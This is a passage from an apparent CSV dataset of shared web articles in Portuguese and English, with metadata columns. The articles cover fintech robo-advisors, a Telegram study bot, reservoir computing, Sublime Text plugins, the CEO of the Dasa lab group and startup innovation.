- Nós vemos muitas empresas interessadas em construir soluções nessa direção. Algumas já estão fazendo alguns testes com a gente e tenho certeza que em breve o mercado será inundado dessas gestoras. O grande desafio delas será provar que seu histórico de gestão realmente compensa e que vale a pena abrir mão dos fundos e títulos convencionais. Certamente não será fácil. InfoMoney - O modelo de ""robo advisor"" faz com que o agente autônomo perca relevância dentro do projeto da XP? Benchimol - Muito pelo contrário. O agente autônomo afiliado à XP é um participante do mercado, que funciona como conselheiro do cliente, podendo assessorá-lo diretamente, ou simplesmente deixá-lo fazer suas operações por conta própria. O robô é mais uma solução para o cliente que pretende encontrar maneiras mais eficientes de gerir seu próprio capital. Estamos, portanto, fortalecendo nosso distribuidor, lhe dando mais um produto para oferecer ao cliente com perfil adequado. InfoMoney - Mas esse alinhamento com o agente autônomo não gera conflito de interesses? Benchimol - Em hipótese nenhuma. Nós somos uma plataforma independente de produtos, que oferece todos os ativos e serviços de qualidade disponíveis no mercado. Nosso objetivo é justamente ajudar o cliente a encontrar o produto certo para seu objetivo de investimento. Na XP, o cliente pode terceirizar seus investimentos montando uma carteira administrada, autoatender-se pelo portal, ser assessorado por um agente autônomo ou escolher um ""robo advisor"" para fazer isso por ele. Na verdade, os conflitos de interesse estão nas monoplataformas, ou seja, nas soluções de uma marca só. Afinal, você terá que convencer o cliente que sua única solução é a melhor de todas. Para finalizar, nenhum produto que é recomendado pela corretora ou pelo próprio agente autônomo. O produto indicado pelo robô não pode ter um risco diferente do apontado em seu teste de perfil, mitigando, portanto, qualquer possibilidade de distribuição equivocada de produtos.",pt
1476455711,CONTENT SHARED,-1452340812018195881,3609194402293569455,-1767084608010459028,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.diolinux.com.br/2016/10/globo-g1-lanca-bot-para-o-telegram-enem.html,Globo G1 lança Bot para o Telegram que te ajuda a estudar para o Enem,"Quem está começando a ficar preocupado com as provas do Enem deste ano e está revirando os livros para se dar bem nas provas pode usar a tecnologia para deixar os seus estudos mais eficientes e mais divertidos. Estudar não precisa ser algo complicado, aplicativos e sites voltados para passar conhecimento existem aos montes, recentemente até nós lançamos o sistema de educação à distância do Diolinux , então nada mais natural do que usar a tecnologia a nosso favor para melhorarmos as nossas habilidades, especialmente em períodos de prova como o Enem e vestibulares. Eu conheci hoje um Bot do Telegram que te ajuda a fazer isso, ele foi produzido pelo pessoal do portal G1 da Globo e é muito interessante. O que é um Bot do Telegram? Os Bots são um dos recursos mais legais do Telegram, o aplicativo de mensagens concorrente do WhatsApp, nós já falamos sobre ele diversas vezes aqui no blog e uma das grandes vantagens é poder utilizá-lo também no computador sem necessidade da ligação com o Smartphone, como o WhatsApp faz, - você pode aprender a instalar o Telegram Desktop aqui - além disso, ele possui vários recursos interessantes, um deles são os bots. Como o nome sugere, os bots são ""robôs"", programas de computador que podem automatizar várias tarefas diferentes, este Bot do G1 funciona praticamente como um jogo onde você conversa com ele como se ele fosse um simples usuários pautando os assuntos que você quer estudar. Como você pode ver na imagem acima, o funciona é simples o ""papo"" que você tem com ele é bem descontraído, as perguntas são interativas e você tem a resposta na hora. Caso você erre, ele vai te informar do equívoco e te dizer qual é a resposta correta: Para adicionar este Bot ao seu Telegram é muito simples, basta clicar no botão abaixo, lembrando que você precisa já ter o Telegram instalado para começar a utilizá-lo. _____________________________________________________________________________ Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.",pt
1476462786,CONTENT SHARED,1059874396577697902,3217014177234377440,3905426769595506891,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",SP,BR,HTML,http://midia.projectlab.com.br/campanha/2016/cubo-talks/nov/02/?utm_campaign=cubo_talks_novembro&utm_medium=email&utm_source=RD+Station,[Event] CuboTalks,"Teremos um CUBO Talks muito especial em novembro no Insper. Uma palestra de cada área do Triângulo de Talentos, ministradas com maestria por 3 grandes destaques profissionais. Abrimos com o Caixeta, vencedor do prêmio Projeto do Ano com um megaprojeto de TI de mais de R$1 bilhão, 5000 pessoas por mais de 4 anos.",pt
1476474162,CONTENT SHARED,5328558001212551235,-5380862725077089346,-2349965977070689348,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",NJ,US,HTML,https://www.acquia.com/blog/acquia-engage-awards-finalists-announced/13/10/2016/3298486,Acquia Engage Awards Finalists Announced,"Acquia partners and customers are setting a new precedent for exceptional digital experiences. These organizations are executing ambitious digital projects and creating experiences that inspire, entertain and inform. The Acquia Engage Awards Program serves as a unique opportunity to showcase the best examples of their work.",en
1476556887,CONTENT SHARED,54211792749134075,-1443636648652872475,-2497122843777314963,Android - Native Mobile App,SP,BR,HTML,http://futurism.com/self-learning-ai-this-new-neuro-inspired-computer-trains-itself/,Self-Learning AI: This New Neuro-Inspired Computer Trains Itself,"A Computing Road Less Traveled A team of researchers from Belgium think that they are close to extending the anticipated end of Moore's Law, and they didn't do it with a supercomputer. Using an artificial intelligence (AI) algorithm called reservoir computing , combined with another algorithm called backpropagation, the team developed a neuro-inspired analog computer that can train itself and improve at whatever task it's performing. Reservoir computing is a neural algorithm that mimics the brain's information processing abilities. Backpropagation, on the other hand, allows for the system to perform thousands of iterative calculations that reduce error, which lets the system improve its solution to a problem. ""Our work shows that the backpropagation algorithm can, under certain conditions, be implemented using the same hardware used for the analog computing, which could enhance the performance of these hardware systems,"" Piotr Antonik explains. Antonik, together with Michiel Hermans, Marc Haelterman, and Serge Massar at the Université Libre de Bruxelles in Brussels, Belgium, published their study on this self-learning hardware in the journal Physical Review Letters . Authentic Self-Learning Not only is the team's self-learning hardware better at solving difficult computing tasks than other experimental reservoir computers, it's also capable of handling tasks previously considered beyond what traditional reservoir computing could do. By physically implementing reservoir computing and backpropagation algorithm on a photonic setup (delay-coupled electro-optical system), the hardware was able to perform three tasks: (1) TIMIT, a speech recognition task; (2) NARMA10, often used to test reservoir computers; and (3) VARDEL5, a complex nonlinear task, supposedly beyond traditional reservoir computing. The researchers look towards expanding what this new reservoir computing can handle, especially since it's a technology that can improve itself. ""We are, for instance, writing up a manuscript in which we show that it can be used to generate periodic patterns and emulate chaotic systems,"" Antonik says. Moving forward, the team aims to increase the speed of their experiments. ""We are currently testing photonic systems in which the internal variables are all processed simultaneously-we call this a parallel architecture. This can provide several orders of magnitude of speed-up. Further in the future, we may revisit physical error backpropagation, but in these faster, parallel, systems.""",en
1476701220,CONTENT SHARED,-6537529846890876234,-1443636648652872475,7616379009371164598,Android - Native Mobile App,SP,BR,HTML,http://www.geekwire.com/2016/just-shut-let-devs-concentrate-programming-expert-advises/,"Just shut up and let your devs concentrate, advises Stack Overflow CEO Joel Spolsky","If you want to attract and keep developers, don't emphasize ping-pong tables, lounges, fire pits and chocolate fountains. Give them private offices or let them work from home, because uninterrupted time to concentrate is the most important and scarcest commodity. That's the view of Joel Spolsky, CEO of Stack Overflow, a popular Q&A site for programmers, who spoke this morning at the GeekWire Summit in Seattle. ""Facebook's campus in Silicon Valley is an 8-acre open room, and Facebook was very pleased with itself for building what it thought was this amazing place for developers,"" Spolsky said in an interview with GeekWire co-founder Todd Bishop. ""But developers don't want to overhear conversations. That's ideal for a trading floor, but developers need to concentrate, to go to a chatroom and ask questions and get the answers later. Facebook is paying 40-50 percent more than other places, which is usually a sign developers don't want to work there."" Spolsky, who in 2011 created project-management software Trello , said the "" Joel Test "" that he created 16 years ago is still a valid way for developers to evaluate prospective employers. It's a list of 12 yes-no questions, with one point given for every ""yes"" answer. ""The truth is that most software organizations are running with a score of 2 or 3, and they need serious help, because companies like Microsoft run at 12 full-time,"" Spolsky said when he created the test. He said that remains true today. ""Microsoft figured out a way to create software with a high degree of sanity,"" he said. ""It's surprising that hasn't spread."" Among other tips, he suggested that a company wanting to empower devs appoint a leader who's a developer herself. Speaking of diversity, Spolsky said he'd like to replace the default StackOverflow avatar with a random image - a woman or a person of color, for example. Meanwhile, ""I'd like to encourage people there to self-identify so they can be role models for others,"" he said. The move to the cloud has made life ""insanely different"" for developers, Spolsky noted. Languages tend to be much higher-level than in the past, restricting access to low-level functions or even keeping devs ignorant of what's happening under the covers. According to StackOverflow surveys , favorite programming tools currently include Rust, Swift and F#, while those ""most dreaded"" include Visual Basic, WordPress and Matlab. But Spolsky played down those surveys, saying programmers have ""a desire to use the latest, cool new thing"" and tend to move on from programming quickly, so that their ranks are filled by ""new kids showing up with newfangled things they just invented, usually reinventing the wheel."" GeekWire is once again proud to partner with Bank of America to support Geeks Give Back , a community-wide effort to raise $1 million for the Washington State Opportunity Scholarship. This unique program provides scholarships to deserving students, the majority of whom are women and students of color, who are pursuing degrees in science, technology, engineering and math in Washington state. To donate as an individual or corporation, visit GeeksGiveBack.org today!",en
1476702994,CONTENT SHARED,-8992201526199201450,3609194402293569455,7539347816740119834,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://tutorialzine.com/2016/10/15-awesome-sublime-text-plugins-for-web-development/,15 Awesome Sublime Text Plugins For Web Development,"15 Awesome Sublime Text Plugins For Web Development Danny Markov Sublime Text is one of the most popular code editors available right now. It is adored by many programmers for it's speed, simplicity, and rich plugin ecosystem. To help developers get the most our of Sublime, we decided to make a list containing some of the extensions that we use and love. If we haven't included some of your favorites, feel free to share them with us in the comment section :) We cannot start off our list without mentioning Package Control. It's the plugin manager for Sublime, and without it installing and removing packages would be a huge pain. If you do not have Package Control installed, make sure you do that first, as it will allow you to quickly try out the other plugins in this article. A collection of shorthand snippets for writing common JavaScript expressions much faster. Why write document.querySelector('selector'); when you can simply type qs , press tab, and let Sublime do the rest of the work. Like the previous plugin in the list, this one let's you use snippets to write code faster. The difference here is that instead of JS expresions, Emmet works for HTML and CSS, letting you write long tags, nested elements, or whole page templates in one go. Emmet is a bit complex, so if want a simpler alternative you could try a similar plugin called HTML Snippets . It has less features, but is way easier to use, and has a great straightforward documentation. This awesome package makes it possible to create new files blazingly fast. Instead of browsing folders, and using the menus, you simply open a prompt with super+alt+n and write the path to your new file. The plugin will also add any non-existing directories from the path, and even supports auto completion for folder names. A Git integration that works directly from the Sublime Text command palette. The package provides quick access to a number of commonly used Git commands, allowing developers to add files, make commits, or open the Git logs, without ever leaving Sublime. Very useful extension that marks each line in your source code, telling you its Git status and giving you an overview of the changes that have occurred. GitGutter can be used to compare your files to the git HEAD, origin, a branch of your choice, or even certain commits. In Sublime Text the project you are working on is overviewed in the left side panel. Although it gives you some options for working with your files, the available default actions are quite limited. This plugin changes that by adding over 20 options to the right-click menu, including Open in browser , duplicate , and lots of other useful stuff. A tiny, useful color picker that is very simple to use and great for quickly grabbing color hex values. The plugin opens in a separate window and allows you to choose a color from a palette or use an eye dropper to extract color from anywhere on your screen. Sublime Text 3 has a built-in Lorem Ipsum generator that you can use for creating dummy text. The Placeholders plugin extends that functionality and allows ST to quickly generate for you placeholder images, forms, lists, and tables. This is an extension for those of you who like to add detailed comments to function definitions. DocBlockr allows you to effortlessly generate descriptions for your functions including the parameters they take, the returned value, and variable types. Code intelligence plugin that indexes your source files and enables you to find function definitions and jump to them. This extension works for a plethora of popular and not-so-popular programming languages. A code minifer and beautifier in one. Minify takes your current opened file, and creates a new .min or .pretty version of it in the same directory. Works with CSS, HTML, JavaScript, JSONs, and SVGs. This package relies on external node.js libraries for minifying and beautifying, so you will need to install them separately: This package enables the code editor to check for syntax errors, bad practices, or other mistakes that the developer may have made. SublimeLinter itself just acts as a base framework for linting, so you also need to install separate plugins for each language you code in. A feature you can see in many other IDEs and text editors, but is missing from Sublime, is color previews. Using the Color Highlighter extension you can enable it in ST, allowing you to see how all hex and RGBA values are translated to color, directly in your style sheets. Sublime Text has code highlighting for over 50 languages but there are some frameworks or niche web dev languages that are not supported yet. Thanks to the plugin nature of the editor, the community can create and distribute packs for any imaginable programming language: Bonus: Themes Installing a beautiful theme to your text editor definitely makes writing code more enjoyable. There are tons of great themes and color palletes available for Sublime text, here are a few of our favorites: by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1476708342,CONTENT SHARED,-5843518165523212471,-2820994773540913369,3364049064951221937,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.istoedinheiro.com.br/noticias/negocios/20161014/conheca-saga-jovem-ceo-dasa/422802,A saga do jovem CEO da Dasa,"Aos jovens costuma ser permitida uma certa dose de inconsequência. Assim, foi mais fácil para Pedro de Godoy Bueno, de 26 anos, decidir embarcar na maior missão de sua precoce carreira de executivo: gerir um poderoso grupo empresarial, um desafio que não costuma ser dado a pessoas com pouca maturidade. Em janeiro do ano passado, quando contava 24 anos, ele assumiu a posição de CEO do grupo de laboratórios Dasa, o maior da América Latina, dono de um faturamento anual de R$ 3,1 bilhões e de 23 marcas, como Delboni Auriemo, Lavoisier, Sérgio Franco e Bronstein. Com isso, tornou-se o executivo mais novo no comando de uma companhia de capital aberto no País. A sugestão de seu nome partiu do representante independente do conselho de administração Oscar de Paula Bernardes Neto, ex-consultor da Booz Allen Hamilton, ex-CEO da Bunge Alimentos e conselheiro profissional com passagens por Localiza, Gerdau, Suzano, RBS, Alpargatas e Marcopolo. Pedro Bueno havia deixado para trás, em 2012, uma breve carreira de executivo em bancos de investimentos para ajudar o pai, o empresário Edson de Godoy Bueno, fundador da Amil, a fazer a venda e a integração da companhia de planos de saúde à americana UnitedHealth. Não poderia haver melhor oportunidade para aproveitar o conhecimento que havia acumulado na área de fusões e aquisições do BTG Pactual. Mas, ao mesmo tempo em que vendia a Amil, o patriarca da família Bueno ampliava a sua participação na Dasa, para se tornar o controlador do negócio, com 98% das ações. Ele substituiu a posição de fundos de investimentos como o Skopos, Tarpon, Pátria Investimentos e do fundador Caio Auriemo. A sugestão de que Pedro, que estava administrando a empresa de investimentos da família, teria o perfil certo para o comando da Dasa surpreendeu a todos. E até causou resistência no conselho de administração da companhia, em especial de Carlos Fernando Costa, representante do fundo Petros - que depois saiu do grupo de investidores. Mesmo seu pai foi reticente, de início. ""Muita gente pensa que foi ele quem me colocou lá, mas meu pai, na verdade, foi contra"", diz Pedro à DINHEIRO, em uma rara entrevista. ""Ele achava que seria arriscado, que traria muita exposição e que eu poderia me frustrar e nunca mais querer atuar como executivo."" Pedro pediu um tempo para pensar e foi nesse momento que usou a, digamos, inconsequência juvenil ao seu favor. ""Percebi que não tinha muito a perder, já que, se eu errasse, a culpa não seria creditada a mim, mas aos loucos que me colocaram lá"", afirma, em tom de brincadeira. ""Se desse certo, diriam que há gente mais experiente por trás das decisões."" Além da ousadia, o jovem executivo sabia que contava com um fator especial em relação até aos mais talentosos profissionais da sua idade: ter acesso às ideias das melhores cabeças do mundo da gestão. Afinal, é filho de um dos principais bilionários do Brasil, famoso não só pela capacidade empreendedora como também por ter contato direto e boas relações com alguns dos mais reconhecidos gurus globais da administração de empresas, como o americano Jim Collins. E, além de receber conhecimentos e experiências, Pedro afirma ter herdado do pai a propensão para o trabalho duro. De origem humilde, Edson de Godoy criou a Amil depois de crescer na pequena Guaratã, próxima a Bauru, no interior paulista, fazendo bicos de engraxate. Edson perdeu o pai aos cinco anos de idade. ""Aprendo muito com ele. Apesar de termos estilos muito diferentes, ele me ensinou o valor do trabalho"", diz Pedro. ""Quando fui trabalhar no BTG, só havia gente brilhante, e pensava que a única forma de me destacar era trabalhando o dobro deles. Acabava um trabalho e pedia o próximo."" Logo, tornou-se diretor de back office e subiu na hierarquia do BTG. ""Fiquei um ano morando no apartamento do meu pai em São Paulo, mas acho que o encontrei umas três vezes"", relembra. ""Durante um semestre, de segunda a segunda, eu acordava às 8 horas da manhã e saía do trabalho só depois da meia-noite. Foi uma fase de muita operação de fusão e aquisição no banco."" No entanto, assim como há algumas semelhanças de perfil entre pai e filho, existem claras diferenças nos estilos dos dois. Edson é conhecido pelos gestos expansivos, por gostar de contar histórias e fazer palestras, sendo um dos representantes mais admirados do grupo de empresários e executivos do Lide, do prefeito eleito de São Paulo, João Doria Júnior. Já Pedro é discreto e tem uma postura reservada. Evita falar em público e é pouco visto nos encontros de jovens executivos. Diz gostar de ouvir bastante os mais experientes. Mas também chama a atenção por ser focado e decidido. Começou a estagiar na Amil, ao mesmo tempo em que cursava Economia, na PUC Rio. Participava de reuniões estratégicas e trabalhava na área de relações com os investidores na empresa, mas, depois de um ano, desejava colocar a mão na massa. Pediu para trabalhar em outras empresas, mas o pai não queria deixar. ""Eu estava morando no Rio e dei um xeque-mate: disse que ia curtir a vida e parar tudo"", conta. ""Era o que ele mais temia. Ligou desesperado, me liberando."" No momento em que assumiu a Dasa, no ano passado, Pedro mostrou que exerceria uma liderança de gente grande. Negociou com o pai que precisaria de autonomia completa para ser respeitado e conseguir resultados rápidos. E usou essa carta branca de forma radical. Costumava ouvir que a empresa tinha um bom time. Mas os resultados não apareciam. A Dasa perdia rentabilidade e participação de mercado. Em 2012, a margem de rentabilidade era de 18%. Dois anos depois, caiu para 15%. No mesmo período, a participação de mercado diminuiu de 15% para 13%. Resultado: Pedro decidiu trocar parte da diretoria. ""Havia gente boa, com 30 anos de empresa, mas que não estava alinhada com a nova cultura ou que não estava pronta para enfrentar outros problemas."" Promoveu pessoas e trocou cerca de 70% do corpo administrativo. ""Meu pai dizia que eu quebraria a companhia, tirando pessoas-chave da operação"", afirma. ""Mas havia excesso de zelo por parte dos executivos, muitos relatórios eram elaborados e ninguém resolvia nada."" Ao todo, oito cargos de diretor foram extintos. Agora, restam ainda 16 diretorias. Como manda a cartilha da boa gestão, cortou as gorduras e economizou custos de R$ 200 milhões ao ano. Os resultados, agora, começam a aparecer no balanço. Pedro diz que a melhora da rentabilidade ficará mais clara nos próximos exercícios fiscais. No segundo trimestre deste ano, o Ebitda (medida de geração de caixa) subiu 48,4% em relação ao mesmo período de 2015, para R$ 138,2 milhões. A margem atingiu 18,1%, comparada com a de 12,8% de um ano antes. Mais do que a influência paterna, o estilo de gestão que Pedro planeja implementar é inspirado na cultura de meritocracia dos bancos de investimento, e principalmente pela aplicada pelo Grupo 3G, de Jorge Paulo Lemann, em empresas como Burger King, ALL e Ambev. O grande desafio que estipulou para sua gestão será mudar a cultura da Dasa em direção a um modelo similar ao de seus gurus. ""A Dasa não vai ser uma empresa de estabilidade na carreira, mas de oportunidade de crescimento para seus funcionários"", afirma. ""Adaptamos para o setor de saúde o estilo de gestão do 3G, com foco em resultados e crescimento, mas sem chegar a ser tão agressivo quanto um banco de investimentos."" Isso inclui dar autonomia para as pessoas fazerem as suas tarefas, para se sentirem mais donas da empresa. As boas ideias são estimuladas, diminuindo a importância da hierarquia. Se um gerente tiver uma proposta melhor que a de seu diretor, ela será aplicada. Em uma conversa com o guru brasileiro dos negócios Vicente Falconi, o jovem CEO ouviu que uma mudança cultural do tipo que pretende empreender em uma empresa com 16 mil funcionários costuma levar de cinco a sete anos. Tempo demais, achou. ""Sugerimos a ele que podemos fazer em quatro anos, mas Pedro disse que quer conseguir em três"", afirma Emerson Gasparetto, diretor médico da Dasa e um dos promovidos pela nova gestão. O desafio maior está no fato de que, desde a saída do fundador Caio Auriemo do comando, em 2009, uma série de planos de dois anos foram aplicados por gestores diferentes. ""Isso fazia a empresa toda correr para um lado e depois para outro, o que tornou as pessoas mais acomodadas, imaginando que a direção poderia logo mudar"", diz Gasparetto. ""Agora, estamos passando a sensação de que temos um controlador interessado no longo prazo."" Na análise da situação, que durou todo o primeiro semestre de 2015, foram identificadas até grandes diferenças de cultura entre as operações do Rio de Janeiro e de São Paulo. Nas unidades fluminenses, as reclamações envolvendo o atendimento são mais recorrentes, assim como a entrega dos resultados dos exames costumam demorar mais. Hoje, a principal meta da empresa é, segundo Pedro Bueno, a satisfação do cliente - exatamente uma das adaptações do estilo 3G para a saúde. Até mesmo a política de remuneração mudou. Para os principais executivos, a bonificação envolve não só os resultados financeiros, mas também o índice de satisfação dos clientes. Desde que Pedro assumiu, essa nota subiu quatro pontos, numa escala de zero a dez. Um dos grandes problemas da Dasa foi a perda da percepção de qualidade que afetou as suas principais marcas na segunda metade da década passada. O trabalho de recuperação da reputação já havia sido iniciado na gestão do executivo Marcelo Noll em 2012, mas Pedro está acelerando a estratégia. Sua equipe identificou 20 profissionais de referência no mercado de diagnósticos, em concorrentes e hospitais, e os contratou. ""Mais do que dinheiro, médico gosta de trabalhar em projetos de prestígio, de fazer pesquisas e falar com os melhores"", diz. Atualmente, 2,5 mil médicos estão ligados à Dasa. Ele também resolveu trocar rapidamente todas as máquinas de imagem usadas pelo Delboni até o fim deste ano, em um investimento total na marca de R$ 180 milhões em 2016. ""Não fazia sentido fazer a migração aos poucos, pois o resultado não apareceria para o mercado"", diz Gasparetto. Esse investimento foi possível com a economia de custos internos, que destravou recursos antes voltados a trabalhos burocráticos. Agora, a ordem é aplicar o dinheiro em ações que serão melhor percebidas por clientes e médicos. Com essa pegada, a gestão de Pedro aumentou significativamente o volume dos investimentos. Nesse ano, a Dasa vai destinar R$ 350 milhões. Até 2014, a média anual era de R$ 140 milhões. Parte desse valor vai para tecnologia da informação. Para acompanhar o plano, o chefe de tecnologia do Itaú, Alexandre de Barros, foi trazido para o conselho, e ele atraiu pessoas que trabalharam no banco para a diretoria voltada à área. Sistemas de gestão estão sendo implementados, como um SAP. Por fim, Pedro e sua equipe estão cumprindo um pedido de Edson da época em que se tornou um importante acionista da Dasa: a expansão mais rápida do número de unidades. A empresa vai abrir 45 centrais de diagnósticos neste ano, para atingir o número de 590. O seu grande rival, o Fleury, possui 138 unidades. Levar a companhia a aumentar investimentos durante um período de crise econômica exigiu uma medida drástica: em fevereiro passado, a Dasa saiu do Novo Mercado da Bovespa e tirou das costas a pressão dos analistas e investidores por resultados de curto prazo - síndrome típica dos mercados de ações. Segundo Pedro, não há interesse dos controladores em fechar o capital. Como apenas 0,2% das ações estão em livre circulação (free float), a empresa foca em estratégias de longo prazo. As ações da Dasa chegaram a fazer parte do índice Ibovespa em 2012 e agora possuem baixa liquidez. Por isso, muitos analistas de grandes bancos deixaram de acompanhar o desempenho da empresa. Entre os poucos que ainda fazem qualquer tipo de análise, a sensação é de que bons indicadores já aparecem, mas há muito espaço a recuperar. Segundo Javier Martinez Cerdan, analista do Morgan Stanley, a Dasa segue a tendência do setor de saúde brasileiro de recuperar os níveis de rentabilidade de antes de 2010. Os preços das ações voltaram ao patamar acima dos R$ 20, um nível que havia ficado para trás no primeiro semestre de 2011. Com isso, a companhia vale hoje US$ 2 bilhões na Bolsa, contra US$ 1,9 bilhão do Fleury, um concorrente de menor porte. Pedro Bueno está indo bem, mas sabe que não terá vida fácil pela frente. O setor vive pressões de forças conflitantes. De um lado, há uma tendência maior de consumo por parte da população, que está em processo de envelhecimento. De outro, a crise econômica e as demissões fizeram o mercado de planos de saúde perder dois milhões de membros, o equivalente a 4% de sua base, desde outubro de 2014. Sem cobertura, essas pessoas agora dificilmente usarão exames de laboratório de maior qualidade. A seu favor, a Dasa conta com a grande capilaridade da rede de atendimento - está presente em 20 Estados - e a diversificação do público, com foco tanto na classe A (com a Alta Diagnóstico) quanto na classe B (Delboni Auriemo) e classe C (Lavoisier). O caminho está dado, mas é preciso superar os efeitos dos problemas de gestão dos últimos anos e transformar qualidade em lucros maiores. A Dasa ainda está na última posição do ranking de rentabilidade da DataStream, que mede o retorno sobre o patrimônio nos últimos três anos em 21 laboratórios da América Latina. Pedro Bueno diz que este não é um indicador sobre o qual está se debruçando agora e que, mesmo com o aumento dos investimentos, a lucratividade deve continuar melhorando durante o ano. Para o Morgan Stanley, a margem Ebitda da Dasa deve fechar este ano em 16%, chegando a 18,7%, em 2017. É um bom sinal. Se, no começo de sua gestão, Pedro poderia usar como escudo a tal irresponsabilidade juvenil (que ele não tem, é bom lembrar), chegou a hora de entregar resultados. ""Com 1 ano e 9 meses no comando, já posso começar a ser cobrado"", diz o confiante CEO mais jovem do País. ----- ""Quando não se tem experiência, o ideal é escolher o melhor time"" Pedro de Godoy Bueno, CEO da Dasa Neste ano, é possível perceber uma melhora da rentabilidade da Dasa. O que foi feito? Reduzimos muitos desperdícios. Percebi que precisávamos destravar recursos que estávamos gastando com nós mesmos. Havia muito pessoal voltado a trabalhos internos burocráticos. Conseguimos cortar R$ 200 milhões de gastos anuais. Tentamos redirecionar isso para trazer médicos e renovar o maquinário. A principal marca da Dasa, o Delboni Auriemo, ficou com uma má reputação junto à comunidade médica, com uma imagem de entregar resultados não confiáveis? Como mudar isso? Estamos nos aproximando dos médicos. Afinal, eles têm o poder de indicar onde não fazer exames. Temos canais para que possam ligar diretamente para nossos médicos e discutir casos e resultados de exames. Procuramos identificar os 20 profissionais de referência no mercado de diagnósticos e contratamos todos eles. Os médicos gostam de conversar com os melhores, e essa preocupação com qualidade vai sendo difundida no setor. Como é ser um CEO tão jovem? Ser um CEO jovem é muito parecido com o trabalho dos mais velhos: é preciso passar uma visão que faz as pessoas trabalharem com vontade. Quando não se tem experiência, o ideal é escolher o melhor time e não ter medo de lidar com gente muito melhor do que nós. E quem são essas pessoas que te ajudam na gestão? O seu pai e Dickson Tangerino (braço direito de Edson de Godoy Bueno e o CEO anterior da empresa)? A experiência deles ajuda. Aprendo muito com meu pai. Apesar de termos estímulos muito diferentes, ele me passou muito do valor do trabalho. Escuto muito também a equipe de diretores. Eu não tenho formação médica. Montamos uma equipe muito boa. Eu promovi muitas pessoas para posições de diretoria. A sua principal inspiração é o modelo de gestão do 3G, de Jorge Paulo Lemann. Como tem feito para mudar a cultura da empresa? Queremos deixar claro que as pessoas têm de sentir donas da empresa. Criamos um programa de sócios, que elege pessoas selecionadas por um comitê de avaliação que estão tendo um bom desempenho e estão alinhadas com a cultura. Também queremos diminuir o status do cargo. Um gerente pode ter uma ideia melhor que a de seu diretor, e então ela será aplicada. É possível até que um gerente se torne sócio da Dasa e o seu chefe imediato, não.",pt
1476711014,CONTENT SHARED,8856169137131817223,3609194402293569455,7539347816740119834,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/10/para-inovar-e-preciso-mais-do-que-boas-ideias/,Para inovar é preciso mais do que boas ideias - Startupi,"Para ser realmente inovador você não precisa necessariamente desenvolver um software ou um sistema de última geração. É possível inovar em processos e em diferentes etapas de um negócio, independente do estágio que ele esteja. Existe uma grande diferença entre você enquanto empreendedor/empresário achar sua ideia incrível e revolucionária e o que de fato ela é, ou seja, a perspectiva e a forma como os outros e o mercado a enxergam. Não estou dizendo isso para desanimar ninguém, muito pelo contrário. Saber lidar com a realidade, suas possibilidades e desdobramentos é fundamental para o desenvolvimento e sucesso do seu negócio. Existe ainda um outro ponto fundamental em todo esse processo, não tem como saber exatamente se sua ideia é uma inovação até que você consiga colocá-la em prática e testar seus resultados. Em tempos de crise então, nem se fala! Tem muita gente com ideias incríveis por aí, para seus negócios. Mas o que é realmente um negócio inovador? Hoje em dia, negócios inovadores também são sinônimos de ""startup"", definição que se dá a empresas que se utilizam de modelos de negócios diferenciados. E esse tipo de empresa cresce em ritmo acelerado no Brasil. Segundo levantamento realizado pela ABStartups - Associação Brasileira de Startups, em dezembro de 2015, o número de empresas em estágio inicial no país chegava a 4.151, representando um crescimento de 18,5% em seis meses, um crescimento considerável apesar da crise. Mas se engana quem pensa que uma startup de sucesso está necessariamente ligada à tecnologia. Não existem regras na hora de inovar em qualquer negócio, seja na área tecnológica ou não. Uma padaria que propõe aos seus clientes, um drive thru, oferece uma opção a mais para aqueles que querem comprar pão sem sair do carro. Para ser inovador um negócio precisa propor aos seus clientes soluções práticas e viáveis, que podem ser ainda inusitadas. Isso acontece quando você entrega mais do que o consumidor esperava, e quando a própria forma com que a experiência de consumo é sentida pelo cliente pode fazer com que a surpresa positiva seja diferenciada. Além disso, um produto inovador por si só já tende a ser mais atrativo no mercado do que um produto comum. O que precisa ser trabalhado é a forma com que essa ideia/conceito é vendida no mercado e a maneira que chega aos seus consumidores. Um produto inovador tem que ser essencial ao ponto de não precisar ser 'vendido' e sim 'comprado. Um empreendedor/empresário precisa ter a inovação nas veias. Ou seja, ser aquele que consegue enxergar além do óbvio e do esperado, e que deixa a imaginação e criatividade fluírem. E para construir startups sustentáveis, não basta ter um produto inovador, o empreendedor tem que saber vender e quanto mais conhecimento ele tiver sobre varejo e e-commerce, menos ele erra e mais rápido consegue gerar resultados. Se não fatura, aumenta as vendas e traz novos clientes, não é inovação. É preciso saber também quem são seus consumidores, onde eles estão e o quanto estão dispostos a conhecer você e pagar pelo que você oferece. Estratégias são montadas em cima de constatações, por isso, a dica aqui é ficar atento aos sinais que o próprio mercado dá para não dar um tiro no pé. Além disso, quem deseja apostar em um negócio não pode deixar de manter o foco. Precisa estar ancorado no propósito do negócio ou produto, desde a elaboração do projeto até seu processo de produção, além da comunicação e lançamento estruturados de forma estratégica. Elenquei três regras fundamentais para te ajudar a detectar se seu negócio é mesmo inovador, e caso não seja (ainda), elas poderão te ajudar a dar os primeiros passos para torná-lo: Quem disse que seu negócio é original e inovador? Realize pesquisas e conheça a fundo o mercado que atua ou pretende atuar. Originalidade requer a criação de sistemas. Se você realmente for o primeiro a fazer algo, precisará implantar todo um modelo de gestão do qual não terá um modelo para se espelhar ou adaptar. Quem é original e inovador precisa ter coragem de arriscar. Tudo que é novo pode causar certa estranheza, por isso, o empreendedor precisa estar preparado para 